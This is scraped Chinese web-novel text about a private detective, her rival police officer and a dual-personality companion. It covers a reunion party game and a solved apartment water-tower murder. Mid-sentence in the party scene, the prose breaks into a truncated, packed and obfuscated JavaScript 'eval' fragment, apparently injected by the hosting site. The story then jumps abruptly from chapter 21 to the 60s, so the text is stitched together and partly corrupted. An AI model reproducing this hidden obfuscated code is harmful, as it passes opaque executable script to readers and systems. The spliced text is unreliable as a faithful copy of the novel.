在一整桌人忐忑紧张的情况下,凡恩反而觉得有点无聊,他的目光看着桌下,百无聊赖地用鞋尖碰了碰陈定言的鞋子。 【喂,无聊。】 陈定言转头看他: 【干什么?】 凡恩交叠起双腿: 【我说了,无聊。】 【那你让位给主人格,跟我说有什么用?】 【不可能,这是我的时间。】 21. 第 21 章 陈定言对于凡恩这种宁可自己受苦也不能让别人上位的行为表示鄙视。 但她现在来不及思考这些,因为轮到她的手机来电话了。 凡恩这个时候不无聊了,他手很长地好心帮她按下接通和免提,顺便把耳朵凑过来一点以便自己听得更清楚。 “是调查事务所吗?”来电中的男声问。 围坐了一圈的众人脸上露出了失望又同情的表情:看来是工作,放假还要工作的侦探稍微有点可怜。 沦落为侦探牌牛马的陈定言感受到了怜悯的目光。 委托人越说越气:“我老婆在外面旅游的时候和别的男人好上了!” 陈定言就知道又是这种婚外情委托。 她这辈子接到最多的委托就是调查出轨,她甚至考虑过在事务所的门口贴上广告“捉奸成功率100%”。 等她听完电话,魏静笑道:“下次我离婚要证据的话,就找陈定言了。” 魏静的丈夫何飞鸣的脸色立刻变得比紫菜还难看。 主持人赵观出来打圆场:“我们把大冒险也加进去,在接到消息后,本人可以看一眼消息决定公开或者不公开,不公开的话就得参与大冒险。” 这种安排几乎是在给某些心里有鬼的人开后门,不过,出于团结和气氛的考虑,所有人都同意了这个安排,免得好好的同学会开到一半演变到《金牌调解》。 林宏喝high了,已经有点醉醺醺的了,他摇摇晃晃地站起来:“我酒品不太好,先回去休息了。” 陶慧茵嫌弃地冲他道:“别把厕所吐得一塌糊涂!” 游戏玩到一半,陈定言也觉得无聊了。 她本来是抱着找凶手的目的在参与游戏,结果凶手没找到,给她自己搞困了。 她的眼皮正在不受控制地掉下来,耳朵边的声音在变得逐渐遥远而模糊。 她梦到自己站起来对大家说“我困了去房间休息了”,然后她梦到自己回房间后往床上一躺睡着了。她梦到床垫软软的又硬硬的,颇有承托力,温热地环绕着她的身体,她还在梦里思考“有钱人的床垫就是好”。 等她稍微抬起眼皮,听觉中恢复了周围嘻嘻哈哈的声音。 她惊醒了。 这种梦太可怕了。明明梦到自己已经起床去上厕所了但是一睁眼发现自己还在床上,连忙起身去厕所一睁眼发现又是个梦,再起身去厕所,一睁眼发现自己还在睡觉。 更可怕的是,她发现自己正靠着旁边的人睡觉,光明正大地把脑袋搁在薛繁恩的肩膀上,手不老实地环着他的腰当作抱枕。 陈定言差点跳起来。 梦里软软的硬硬的有钱人的床垫是…… “对不起,我睡着了。”她松开罪恶的双手,对眼前的人说。 薛繁恩扭着头,眼神也飘到一边,装作若无其事的样子冷静地道:“没关系。” 陈定言愣了愣,又观察了一下才不确定地叫他:“薛繁恩?” 他看着她,眼神正是她所熟悉的,有点不好意思又以为自己藏得很好很高冷的那种。 “是我。” 陈定言暗道怪不得,另一个人格哪有这种耐心。 不过,虽然她梦到自己睡了很久,但实际上才过去几分钟而已,距离第二人格凡恩退居幕后并没有过去太久。 薛繁恩本打算把她带回去,但在那之前她就自己醒了。 游戏才进行到陶慧茵选择大冒险的那一步。 “请在手机上发一个掷骰子的表情,显示第几就抽第几号的大冒险。”主持人赵观朗读着规则。 陶慧茵在手机上划拉了几下:“三。” 赵观拖长了音:“3号大冒险是——” “录一个视频,和某个物品深情拥吻十秒,把这个视频发给在座的各位。” 陶慧茵忍不住道:“太恶毒了!什么物品都可以,在哪里录视频都可以吗?” 赵观看了眼规则:“是的,这里没写其他要求,应该是什么都可以。” 陶慧茵站起身,潇洒地撩了一下头发:“那我回房间用我推的谷子录。” 赵观赞叹道:“有点东西啊!” 权舒云问旁边的付雪:“她推是哪个?” 付雪凑过去小声对权舒云说了一句,权舒云笑起来。 陶慧茵离开客厅去了二楼,下一个手机来消息的是主持人赵观。 赵观也选择了不公开手机消息选择大冒险,他投了电子骰子后道:“1号,让我看看1号是什么。” “随机给一个列表上的人打视频,并向对方表白——我靠!” 在场的人开始起哄。 赵观给本该一起来参加同学会的卓茂城打了视频。 视频显示卓茂城正在家里。 “卓茂城你不厚道啊,你不是说今天有事不来吗?怎么在家里?”赵观一看,立刻嚷道。 卓茂城笑着挠头:“不是啊,现在事情办完了嘛。” “快点表白!”有人催促道。 卓茂城向镜头凑近了一点:“什么?” 赵观豁出去了,含混又飞快地按照要求嚷了一句。在众人的哄笑声中,他飞快按掉了手机通话键。 赵观一边嘟囔一边把手机重新放回桌面上:“一点都不好笑真的,没什么好笑的,大冒险真的太险恶了。” 过了好一会儿,付雪突然出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟行霄不动声色,然而加班的烦躁在他脸上的具象化还是稍微加深了一些。 郝警官看到老熟人忍不住凑过去嘀咕了一句: “陈定言你也在?最近几个月好像你老是出现在我们的案件中嘛,是不是有点走霉运?” 陈定言麻木地道:“可能吧,命中率这么低的事我居然也习惯了,现在甚至还有种垃圾回到垃圾桶的安心感。” 60-70 第61章 第61章你教教我 钱智没想到他无意中说的一句话会成为把柄。 面对确凿的人证,他只能承认:“我确实认识她,我因为噪音的问题上楼去跟她谈过。但我没有杀她。” 怀警官吃午饭的时候还在对此大谈特谈。 “第一,钱智有杀人动机,本来睡眠就不好,还被吵得睡不着觉,失眠的人的精神一般都比较脆弱,更容易暴走。” “第二,他认识死者,却向我们隐瞒这个事实。” “第三,目击证人都说了看到他拖动尸体了。” “他就是仗着我们没有办法拿到更确凿的物证,所以死不认罪。” 想起这次案件尸体是在楼顶水塔里发现的,当场有几个同事表示这饭吃不下去了,逃到怀警官方圆十里以外。 宗警官对自己搭档不会看眼色的行为表示无语:“吃饭呢,少说案子。” 郝警官笑眯眯地拿着饭盘凑过来:“他这人就这样,痴迷于破案,但是偏偏没那个脑子。” 怀警官睨了一眼郝警官,警惕地问:“你搭档呢?” “和小陈侦探出去吃了。最近我觉得这两人有苗头。”郝警官神神秘秘地道。 宗警官吃惊:“真的?以前这俩不是不对付吗?” 郝警官摇着头笑道:“小孟这回情商长回来了,说不定是遇到什么事终于想通了。” 怀警官嗤之以鼻:“遇到情敌了呗,像他那种头铁的倔驴,除了这个还能有什么理由?现在的年轻人真是,嘴封得死死的,不撞南墙不回头。” 怀警官终于从案子跳到比较正常能下饭的话题了。 宗警官暗中给郝警官比了个大拇指:做得好,这下不用被迫在用餐时间听案子了。 …… 陈定言表示不理解。 虽然她和孟行霄关系改善了一点,但她也不想和他一起吃饭。 前车之鉴,因为上次倒霉过了。 但她不明白,为什么等她反应过来的时候,已经坐在餐厅里了。 为什么呢? “我认为奇怪之处在于,如果动机是噪音杀人,为什么案发现场不是在七楼,这很反常。”她分析道。 是的,原因很简单。因为孟行霄那个家伙使用了魔法攻击。他说觉得案子有些地方很奇怪很违和,但他一时说不出是哪里。他都这么说了,她当然要给他解惑。 陈定言觉得相比起来案子来,更违和的是提出违和的本人。 所以她在分析后面加了一句:“更反常的是,你为什么会请我到外面吃饭。” 孟行霄语气平淡地道:“在食堂聊案子,会被其他警察嫌弃。” 陈定言想想也是。 尤其是这个案子,简直是影响周围所有人的食欲。 但她还是有点不爽。 不知道为什么,孟行霄明明在她面前示弱了,她现在仍然感觉不舒服,但是暂时又说不出哪里不对劲。 于是她再次重拳出击,尝试摸清楚自己心里的那个疙瘩到底在哪里: “你三番四次用自己想不通某个线索为由,试图和我改善关系,但是你以为我每次都会给你面子吗?” 他看着沸腾着热气的面碗,脸上露出了淡淡的笑意:“至少你现在给我面子了。” 陈定言质问:“你难道就没有什么别的办法了吗?” 孟行霄的目光从食物上抬起来看向她:“你想要我用别的手段吗?” 她好像挑起了一个不太对劲的话题,她的本意只是不爽想怼他几句。 “我只是觉得你每次都用一样的伎俩,有点无聊。” 他微笑:“你想要的话,我可以试试。” 她谢绝:“那不用了。” 还是老老实实谈案子。 陈定言和孟行霄的脑回路一致,都认为凶手的动机不是因为“噪音杀人”。 如果杀人动机是因为楼上的噪音睡不着的话,钱智不可能顺利把死者引到楼下来,在自己房间里杀人并拖到楼顶。更有可能的方案是:钱智走上七楼质问死者,在争执中杀人。 既然目击证人武俊都说看到凶手在六楼处理尸体,那么十有八九是死者被引到楼下来。单纯的邻居关系是不可能被引到楼下来的,除非有其他事情要谈。 她用筷子夹起面条,思考:“你认为钱智和蔡松月之间可能有更深层的关系吗?” “我不确定。”他说。 她控诉道:“这个时候别用这个手段了,你起码也得思考一下。” 他有点无奈:“这次我是真的不确定。” 她沉默了一下:“……好吧我也是。” 【4B的护士和2A的大叔都说钱智没有女朋友。】 【3B的老太太说和蔡松月接吻的男人不是钱智。】 【2B的上班族说,看到钱智和一个男人起过冲突。】 虽然钱智看起来和蔡松月没有感情纠葛,但是两人会有其他关系吗? 因为钱智确实撒谎了,他之前回答警方的审讯时说没见过蔡松月,但他明明就知道蔡松月住在7B。 当然,这个假设光凭空想是无法得到证实的,唯一的办法是继续深入调查蔡松月和钱智的人际关系。 “我们换个方向,再去调查一下你的委托人。”孟行霄忽然道。 委托陈定言的是目击证人武俊都。 现在的大部分推断都建立在“目击证人武俊都说的是真话”这个假设基础上。 陈定言赞同他的提议。 同时,她终于想通了自己有点不爽的原因:孟行霄脑子灵活才让她感到正常,如果他一味地让步,把出风头的机会让给她,只会让她感觉到被小看了。 “说实话,你就该这样。我不喜欢你故意装傻让我一步,主动降智或者被动降智都是不公平的比赛。”她认真地道。 孟行霄怔了一下:“是吗?” 陈定言反问:“不然你想做什么?在我面前做个安静的花瓶吗?” 他注视着她:“所以,实际上你享受和我博弈的过程吗?” 她本想否认的,但最后还是出于本心地承认了:“是的。” 说到底,她起初对孟行霄的抗拒并不是因为她想出风头。是因为她认为“降智”这一过程让她的人格被减损,这并不公平。 她可以享受他向她的示弱,但她同样不满意他故意把所有机会都让给她,因为这一过程同样会让他的人格和思考被埋没,这不公平。 “我有自尊,我也同样尊重你的人格,我不希望看到你用贬损自己的方式和我缓和关系。”她说。 孟行霄垂下眼帘。 他知道自己在做什么。他想做的并不仅仅是“缓和关系”,所以做得稍微过火了一点。 但他却反过来被她撼动了。 “抱歉,我一直没什么朋友,不知道该怎么做。”他低声道。 因为从小到大都是远近闻名的倒霉蛋。 因为孤独和受辱而积攒起的不为人知的傲气。 因为平静的表面下是汹涌的暗河。 他知道这才是他第一次真正地低下头,真正地示弱。 “你教教我。” 第62章 第62章原来如此 陈定言是个不太会让别人的话轻易掉在地上的人,就算是很难接的话她也要拼死拼活接下去一句。 此刻她就觉得孟行霄的话很难接,但还是努力像接棒球一样不让他的话掉在地上。 “没问题,你要知道我是超级好为人师的那种人。”她说。 孟行霄低着眉眼,嘴唇轻轻牵出点弧度。 …… 吃过午饭,孟行霄和郝警官商量了一下,决定去目击证人武俊都那里再了解一下情况。 作为被委托人,陈定言当然也跟着去了。 武俊都正在家里开游戏直播。 开门后,郝警官一见他有些局促不安的模样,便道:“没事,我们来借用一下你的望远镜看看。” 武俊都点头:“好,那我继续上播去了,正在打BOSS。” 孟行霄去往嫌疑人6B住户钱智家里,站在那个窗口,把百叶窗调成叶片向上的状态。 上次搜集证言的时候郝警官请假了,因此陈定言按照记忆,把望远镜拿到窗边的那个位置,把方向对准6B的那个房间窗户,重现当时武俊都目击的情况。 由于上一次来看的时候,死者尸体还没有被发现,碰巧钱智家里那个房间的百叶窗叶片又是朝下的,因此连警方也没有权力进到6B公寓内把百叶窗叶片调过来,当然也无法重新武俊都的目击证词。 这一次,总算有充分的理由进入钱智家中把百叶窗叶片调好进行场景重现了。 “可以了,来看。”她调好角度,看了一下望远镜内的视野,对郝警官道。 郝警官的速写很不错,他在望远镜内看了一会儿,刷刷地在白纸上把他所看到的视野复制拓画下来。 “武俊都当时看到的应该就是这样的了。”他把速写拿给陈定言看。 把速写画推过去的时候,郝警官自己却发现了画上的端倪:“诶?” 陈定言刚才看望远镜的时候就察觉到了:“你也发现了。” 从这个视角看过去,望远镜内的视野中,那个百叶窗户后被一个柜子挡住了一半,根本不能看到地上的情景,更不用说“地上的黑色头发”了。 郝警官的视线慢慢挪动,看向正在直播打游戏的武俊都,小声问陈定言:“是他说谎吧?” “假装目击证人看到凶手处理现场,实际上难道他才是和事件相关的人吗?” 郝警官越思考越觉得毛骨悚然。 陈定言却示意郝警官暂时不要把事情告诉武俊都:“他说谎或者没有,我现在也不清楚。但我觉得我可能已经知道真相了,得先去确认一下证据。” 郝警官点头,然后不动声色地把那张速写画收了起来。 如果武俊都果真说谎了,那么得找出更直接的证据,现在就质问他的话,他可能会动手销毁证据,反而让真相更加难以浮出水面。 两人装作什么事都没发生过一样,离开武俊都家,和孟行霄在楼下会合。 郝警官把速写画给孟行霄看:“小陈侦探说有点眉目了,接下来具体要做什么听听她怎么说。” 陈定言感觉她的日常破案环节正在逐渐回归正常。 她好像不再需要面对之前剧情强加给她的很多buff了,或者 说,因为龙傲天男主的“屈服”,她的情绪和理智都在摆脱剧情的控制回归正常的状态。 很好很爽。 这让她连带着看孟行霄都觉得有些顺眼了。 她把自己的猜测和计划和孟行霄、郝警官两人提了一下,顺便叮嘱道:“调查出结果了记得跟我说一声,不然我会好奇得睡不着觉。” 郝警官会意:“那当然了,我们都合作多久了!” 到这里为止,陈定言今天的调查任务也差不多了,剩下的都是警察的事,她插不上手。作为私家侦探,虽然有时候会被警方私下委托调查某些警方并不适宜花费警力调查的事件,也会因为委托被卷进案件中、向警方提供线索,但毕竟她不是警察。 是的,她不用加班。 以上脑内活动并没有暗指某某某的倒霉加班体质。 总而言之现在她的任务就是回家等消息。 …… 次日,6月22日。 消息来了。 陈定言其实还是很想如同侦探剧里那样在众人面前嘴皮子很利索地揭开真相指认凶手、然后看凶手下跪哭泣。 但现实是这次她最多去现场看个热闹。 公寓楼。 有眼尖的邻居看到警察去了6A退休教师家里,立刻向其他人报告最新战况。 楼内的居民们这几天惶惶不安的心情终于还是被引爆了。 就连最不八卦的住3B的老头都忍不住问来问去:“老周头怎么了?” 前天还在楼下和退休周老师聊过案子的邻居不寒而栗:“不会人是他杀的?那也太恐怖了吧。” “对啊,那天向物业举报水质有异味的,就是周老师,如果他是明知水质有问题……嘶,怎么会这样?” “然后那天他还拖着行李包准备走!表面上是感到心里害怕才去别的地方住几天,实际上是逃走了吗?” “凶手真的是他?那他岂不是贼喊捉贼?” “还好那天我没乱说什么,要是真的被灭口了……” 左邻右舍之间的谣言传得最快。 6A退休教师家里。 负责收集物证的警员拍下沙发上的一幕:“找到了,是这个吗?” 沙发表面,在织物纤维中黏着两三处细小的白色碎屑,正是餐巾纸碎屑。 某种程度上证明死者蔡松月曾经来沙发上坐过。 但这个证据还是不够有力。 更直接的证据是警察在沙发下找到的烟头,烟头上有死者蔡松月的DNA。 这些已经足够证明,凶手就是住在钱智对门的退休教师周老师。 怀警官这两天挖空脑子想着应该怎么从钱智嘴巴里问出点什么来,发现这个真相后,他有些心累:“这真是惊天大反转了。” 宗警官凉飕飕地补上一刀:“对于你来说,哪个案子不是惊天大反转。” 郝警官还在对着那幅速写画挠头:“小陈侦探到底是怎么想到的啊?” 陈定言像竹笋一样从旁边冒出来。 “我调试望远镜、看到周老师家里也是百叶窗的时候突然想到的。” 她笑着,主动给郝警官解惑。 目击证人武俊都在半夜十二点偷窥对面楼层,看到有人拖着人形物体,并且看到地上有黑色头发移动。 但事实是,如果是武俊都说的6B那户人家,那么武俊都的望远镜视野里根本看不到地面。 是武俊都说谎了吗? 然而,公寓监控摄像头证明,武俊都待在自己楼里没有出去,更没有机会去对面楼杀人抛尸,所以撒谎对他来说没什么好处。 既然如此,为什么武俊都会认为他看到的是6B的钱智家里? “我们去问了这栋居民楼里那天晚上的睡眠时间,那天半夜十二点的时候,4B的护士在值夜班没回家。其他居民老头老太上班族都睡得挺早,住在5B的大学生也因为那天刚从学校回来累得早早睡觉了。” “6B的钱智以前是这栋楼里的熬夜冠军,但是那天晚上睡得也挺早,就像他自己说的,因为楼上不吵了所以十一点半也睡觉了。” “巧的是,那天晚上整栋楼都是黑的——除了6A周老师家。” 听到陈定言的解释,郝警官若有所思地往窗户外张望:“你是说,武俊都把6A看成了6B?这有可能吗?” 陈定言解释道:“晚上偷窥的时候是要把自己家里的灯关掉的,不然窗户就会变成镜子,而且别人还会看到他趴在窗户边架着望远镜偷窥的样子。那天晚上,武俊都家里的环境是全黑的。” “人在黑暗的环境中方向感是很弱的,信不信你闭上眼睛转个圈,你能感觉到你好像失去了方向,对吧?” 郝警官想了想:“这倒是。” 陈定言:“那天晚上武俊都在黑暗的环境中,对于自己的望远镜调了多少角度是不太清楚的,他唯一的指向是灯光。对面那栋楼哪里亮着灯光,他就看向那里。” “以往偷窥的经验是:6B的钱智是这栋楼睡觉最晚的。所以那天晚上他看到这栋全黑的楼里唯一亮着灯光的房间,就想当然地以为这是6B。” “这就是为什么武俊都说是6B发生了凶案,但是证据却是在6A找到的。” 不知为什么,在陈定言解释的时候,郝警官下意识地看向了孟行霄。 孟行霄正注视着陈定言,唇角带着淡淡的笑意。 郝警官露出恍然大悟的表情:“原来如此。” 这种意义上和那种意义上都恍然大悟。 ——果然,被他逮到了。 第63章 第63章准备好拳头 回乡下老家“住几天”的退休老师周跃潭作为嫌疑人被带到了警局。 那个沙发下的烟头让他无法推诿,只能坦白事情真相。 【周跃潭是蔡松月的中学老师。 蔡松月找短租找到这栋公寓,她的打算是住一个月就走,刚好把房子租给她的情侣也是一个月的旅行。 某天,从楼梯下来的蔡松月和正要出门的周跃潭偶遇了。 “哎呀,周老师?”蔡松月认出了中学老师,吊儿郎当地靠在楼梯扶栏上,手指间夹着一根烟。 虽说做老师的桃李满天下是值得骄傲的事,但周跃潭还真不想见到以前的学生,尤其是眼前这个成绩差劲的小太妹。 周跃潭朝她点点头,没有过多搭话。 对门的邻居走出门来,两人心照不宣地沉默下来。 周跃潭以前杀过人。 他杀了妻子,当地的警方虽然怀疑过他,但没能找到证据,时间一长就成了悬案。 尽管警方没能抓住他,但邻居之间的风言风语却一直存在,大家都怀疑是他下的手。 周跃潭退休后就从小镇搬来了这里,在这个谁也不认识他的地方,没有人知道他的过去,当然也不会有谁传他的八卦。 谋杀这个事儿确实是他干的。但被人指指点点他也受不了。 见到蔡松月,周跃潭心情很差。 他知道他的学生也都在背后怀疑他杀人,更巧的是,蔡松月那一届正好完完整整经历了他妻子被杀的事件。 等邻居下楼后,蔡松月才重新用玩味的语气道:“周老师,你看起来不那么待见我,为什么?警察都查不出来的事,我难道能翻案?” 周跃潭做贼心虚,总觉得这个小太妹不怀好意,他质问道:“你来这里做什么?” 蔡松月抖了抖烟灰:“哎呀,我都在这里住了一周了,真的今天才看见你的。不说了,我还有事呢。” 周跃潭这才稍微松了一口气。 但是得知过去的学生住在这里后,他 开始寝食难安。 不仅如此,蔡松月偏偏还送上门来了。 案发当天晚上,蔡松月按响了他家的门铃。 “你到底想干什么?”周跃潭斥责道。 蔡松月靠在门框上,拇指和食指搓了搓示意钞票:“借点钱,周老师,最近手头有点紧,周转一下。” 周跃潭知道她和不三不四的人鬼混,惹上了一身腥,径直道:“我没钱!” 蔡松月一脸无赖,眼神里暗示着什么:“周老师,你再想想吧。” 周跃潭和她对视了片刻后,终于妥协:“进来说。” 进屋后,蔡松月不客气地坐在沙发上。 “你要多少钱?”周跃潭问。 “说不好啊,我先问问老师你退休金多少。”蔡松月耸了耸肩,往外吐了一口烟。 周跃潭看她的样子,猜到她要狮子大开口了,并且准备用“疑似杀妻”这个理由来威胁他。 周跃潭强自镇定:“我没杀过人,警方都说了凶手不是我,你就算传播再多谣言,我也是清者自清。” 蔡松月冷笑一声:“哈,清者自清,真好笑。你真是拿所有人都当傻子。” 她没有说下去。 但周跃潭却觉得她好像知道些什么。 难道是他杀人那天被她看到了吗?……河边好像是有个女生走过……真的看到了吗?真的是她吗?…… 周跃潭越回忆越觉得这就是事实。 他起身:“有话好好说,我去给你泡杯茶。” 蔡松月滑头滑脑地绕过了这件事:“不用啦,我说了借两万就只借两万,那件事我也什么都不知道,老师你通融一下。” 周跃潭杀心已起。他假装去厨房泡茶,实际上是去拿了趁手的绳子。 甚至他在去厨房前还看了一眼窗外:对面公寓楼的灯也全都熄灭了,没有人看到。 蔡松月犯蠢,主动送上门来说些威胁的话,只为了勒索一点钱,甚至在这种危险的时间和曾经的杀人犯独处。 她这样做,无非是认为周跃潭年纪已经大了,七八十岁的老头还能做什么——于是她放心地过来了。 喜欢恶作剧的蔡松月还没意识到危险,她把女士香烟的烟头偷偷藏在沙发下,打算下次就造谣周跃潭有情妇了。 周跃潭绕到她身后,用绳子一下子套住她的脖子,双眼中迸发出狰狞的凶光。 蔡松月被打了个措手不及,挣扎了几下,便被当场勒死。 杀了人后,周跃潭开始为抛尸做准备。 蔡松月自己惹了不少不三不四的人,听说前男友和黑//道有关系,那么到时候就说是那些流氓混混杀的人。 为了让“流氓杀人抛尸”更站得住脚,周跃潭特意从蔡松月身上把所有东西都搜刮出来,包括她在7B的钥匙。周跃潭去了一趟7B,把她住的地方又搜刮了一遍,把值钱的东西带走了。 这样的话,警方就会判定是:流氓杀人后抢走她身上、家里所有的财物。 接下来就是抛尸地点。 周跃潭住在六楼,要绕过电梯把尸体带下去实在有点引人注目,所以他决定就近抛尸。 趁着晚上,他把蔡松月搬上七楼,再搬上顶楼,抛尸入水塔中。 这种凶残的抛尸手法正好也符合流氓的方式。况且,警方不会怀疑是公寓内部的居民做的案,因为没有居民会故意把自己使用的水也污染掉。他自作聪明地想。 这辈子第二次杀人的周跃潭已经是一回生二回熟了。 他回家后打扫了屋里,只是他疏忽了沙发上面居然会粘有餐巾纸碎屑、沙发底下居然会有恶作剧扔进去的烟头。 除此以外,动手前他确认过对面楼的灯光已经全黑了,他以为没人醒着,没想到对面楼还有一个关灯偷窥的人。 这个偷窥者打乱了他所有的计划。 因为偷窥者的参与,第二天就有侦探和警察来查蔡松月了,虽然他们不知道蔡松月是否已经死亡,但他们推断出了一个重要的线索:蔡松月是在6月18号晚上被杀的。 这样的话,流氓杀人这个借口就站不住了。监控显示从18号晚上到白天,没有流氓或者其他可疑的人进入楼内。 而且,周跃潭没想到警察怀疑的居然是他对门的邻居钱智。 计划被打乱的周跃潭决定先下手为强,进一步扰乱警方的视线。 他故意向物业投诉水质变差,装作无辜受害者的模样,顺便话里话外暗示钱智就是杀人犯,而他因为担心被灭口而逃离。 谁知戏演成这样,老天还是来算账了。 十年前的杀妻案,十年后的杀学生案,两个案子一个都逃不开。】 …… 周跃潭十年前犯下的杀妻案还需要和他老家当地的警方交接资料、查清楚细节。 除此以外这个案子的其他方面都没问题了。 之前警方怀疑的“噪音杀人”和“情杀”两个动机都并非真正的杀人动机。 陈定言的委托人、同时也是目击证人武俊都还是很担心自己因为偷窥被处罚,一直惴惴不安的。 陈定言安抚他道:“警察忙着处理两个案子,没空处罚你。” 武俊都连连叹气:“太恐怖了,以后我都不敢再偷窥了。” 总之,陈定言的这个委托也顺利完成了。 当天傍晚她又去了一趟城西公园。 这是梁天时拍的那张落日照片的地点。 她按照落日照片的角度找到了公园内的那个长椅,确认这个角度的所有景物细节都符合,包括那个“市园林局”的垃圾桶也可以完美重合。 她下意识地往长椅下面看了一下,果然在长椅下方看到了用胶带粘着的一张纸。 梁天时在上面写着明天的谜语线索以及今天所要对她说的话。 她笑着把纸条收了起来,顺便又在长椅下粘了一张她自己写的字条。 假装特工互相传情报。 …… 晚上,陈定言接到了来自孟行霄的电话。 她的晚上是放松愉快的时间,因此有点不满:“你非要晚上打给我不行吗?” 电话那头孟行霄自然而然地回答道:“抱歉,我下次白天打给你。” 陈定言想了想两人最近的关系缓和进度,心地善良地宽恕了他:“算了,晚上也没关系。现在有事找我吗?” 孟行霄直接问:“可以和我约会吗?” 陈定言庆幸自己没有在做喝水之类的高危动作。 否则她一定会呛到。 她像只无头苍蝇一样,慌慌忙忙地立刻坐下来翻和军师之间的聊天记录:“你……” “我怎么了?” “……你喜欢我吗?” 这句话说出口就让她感到不自在。 死对头就是死对头,死对头最多能缓和关系成为不那么针锋相对的朋友,死对头怎么能在一起呢。 “是的。”他说。 “不是,这不对吧?我们不是死对头吗?”她试图辩解。 孟行霄握着手机,目光看向窗外,他的声音是一贯的稳定冷静,但此刻浸了一些温柔。 他说:“一直只有你单方面那么认为而已。” 陈定言沉默:“……” 她翻到了军师和她之间的聊天。同时,她产生了怀疑自己的心情。 难道她一直以来真的是被“恋爱木头buff”控制了吗?难道梦里的那个离谱人设是真的? 裴勉知这种故意瞒着她的也就算了,还可以算成是她为了友情的原因之前一直没有探究他的秘密。 就连死对头都—— 她怎么可能没察觉的? “约会就约会,明天你有空吗?”她平静下来,主动让攻守易形。 孟行霄犹豫了一下:“有空,不过……” “你是不是担心像上次那样,把不幸传染给我?” “嗯。” “怕什么。”她说。 孟行霄的眼尾扬起淡淡的笑意:“约会也请你教我。” 对她来说,他可能显得有些传统老派,甚至只能想出请她吃饭、看电影这 种套路。 因为他不知道怎么样才能向她表达他内心的动荡不安,到底怎么做才能让她察觉到。 他只能把爱意附着在这些古旧的套路上,却发现自己捉襟见肘,像不会说话的孩子。 “让我教你,那好。” 陈定言听到这话的第一反应是摩拳擦掌,跃跃欲试。 “我亲爱的死对头,明天上午十点,准备好拳头,在麦当当旁边见面。” 第64章 第64章额头撞出包约会 次日,麦当当等了个空。 早上八点,陈定言接到了孟行霄的电话。 他的声音听着闷闷的:“约会取消,对不起。” “为什么?”她追问。 “抱歉。” 陈定言哪有这个耐心听他唧唧歪歪,她挂掉电话。约定的时间十点还没到,她先火急火燎地赶过去了,不过不是去说好的麦当劳附近,而是直接冲去孟行霄家里。 外婆给她开的门。 “小霄的房间在那。”外婆的语气分明和sirthisway有异曲同工之妙,头一个便出卖了外孙。 陈定言朝那个关着门的房间走去,回头看到外婆冲她比了个加油的手势,然后比了个“我去串门了”的手势。 这不对吧? 难道不应该给亲外孙加油吗? 虽然如此,她也管不了那么多了。 她便仿佛入室抢劫一样闯进房间里,碰的关上门,回头顺便锁上。 孟行霄衣装齐全地在床上蜷缩着,用被子蒙着头,听到她进来的声音,往靠近墙角的床边缩了缩。 陈定言走过去,她弯下腰,眼里闪烁着兴奋和探究欲:“我改行做医生了,让我看看你脑袋出什么问题了。” 孟行霄转过身去背对着她:“你遇到我会倒霉的。” 他的声音从被子里传出来,因为隔了一层障碍而显得有些遥远而闷重。 “那你就先告诉我,早上遇到什么事了让你突然改变主意?”她探究动机的好奇心旺盛得像火苗一样。 “撞到头了。”他说。 陈定言对于这种看不到证据的事着急得很,终于忍不住上手扒拉被子:“我看看,让我看看,这就是你遮住头并取消约会的原因吗?因为额头上撞出包不好看了吗?” 【事情应该从早上七点开始讲。 虽说是休假,孟行霄也早早地起了床,做好早饭,他想了想,决定再做一份可以带出去的爱心便当。 “约会啊,”外婆一副了然于心的表情,“我去市场帮你买点菜,我最知道小言喜欢吃点什么了。” 孟行霄已经拿好了编织袋准备出门:“我自己来就好。” 外婆不信任地叮嘱道:“那你要小心了,如果你没有十足的把握,你就要选你最不想选的那个菜。” 孟行霄:“……” 就连外婆都这么不信任他的运气。 然而,心怀着对这个世界美好向往的小孟警官刚出门就遭受了这个世界最大的恶意。 “咣” 门口传来一声巨响,门上挂着的招财猫风铃微微颤动着发出声音。】 陈定言越扒拉越急越好奇,她急着看他额头上撞出包的模样,好逮着机会嘲笑他一顿。 “没事,就算撞出包了还是好看的,让我看看。”她一边刨着被子一边撒谎以降低对手的警惕心。 孟行霄经不住这种狗刨式扒被子的手法,他把被子稍微拉下来一角,同时抓住她的双手不让她再乱刨。 力道不算重,但精准卡住了她毫无章法的攻击。 “我给你看,不要再扒了。”他无奈地道。 她的双手都被控制住了,身体没稳住,重心往前一倾往下倒去,堪堪用手肘撑住自己:“那给我看看。” 她的手肘正好隔着被子撑在了他胸口上方。 孟行霄被这颇有力道的一撑压得微微喘了一下。 他松开一只握着她的手,抬手把额前的头发撩了一点起来,露出那个被门撞到的红肿包。 陈定言帮他撩着头发,对着那个大包忍不住笑了起来:“哈哈哈哈,你在做什么啊!” 她刚刚还骗他说就算撞出包了也还是好看的。 他乌黑的眼睛带着些怨念地盯着她看。 他另一只手仍然握着她的右手手腕,搭在她手背上的手指停留了几秒,忽然用力地按住、扣紧,手腕发力往下带了带。 笑得没力气的她身体失衡,被他顺势一拽,连勉强撑着的小臂也被攻陷,整个人扑靠了上去,半边脸几乎贴上了他的脸颊,呼吸径直落在了他的颈边。 她终于觉得有点不对劲,笑声在喉咙里收住最后的尾巴。 她不太自然地清了清嗓子:“咳。” 视线移动的时候,正好撞进他的眼里。 他右手从她身后探过去,扣住她的腰部,紧接着微微侧过身,在床铺上让出一点空间来,整个人带着她往下一拽。 她彻底倒在床上,挣扎着想撑起身体来,却被他再次按下了。 两人像格斗选手般缠斗了一番,最终侧着身躺在床上,脸对脸地对视。 “我让你准备好拳头,这难道就是你准备好的拳头吗?”她控诉道。 “不是。” “没有武德。” “我不是故意撞出包的,至于现在的情形,我认为也是你先动手的。” 她回溯了一下刚才的情形。 的确是她先闯进他的房间还非要看他额头上肿的包,的确也是她先一通扒拉后大声嘲笑的。 但抓住她的手让她失去重心、并在后续做一系列行云流水擒拿动作的人是对方。 “少来,是你没有武德。”她坚持自己的论点。 孟行霄向她靠近了一点,距离近得鼻尖都快撞上了。他的唇角弧度并不向上,眼睫也垂下来。 他低声道,声音几乎像叹息:“我很担心你出门的时候也像我一样倒霉受伤,所以取消了约会。” 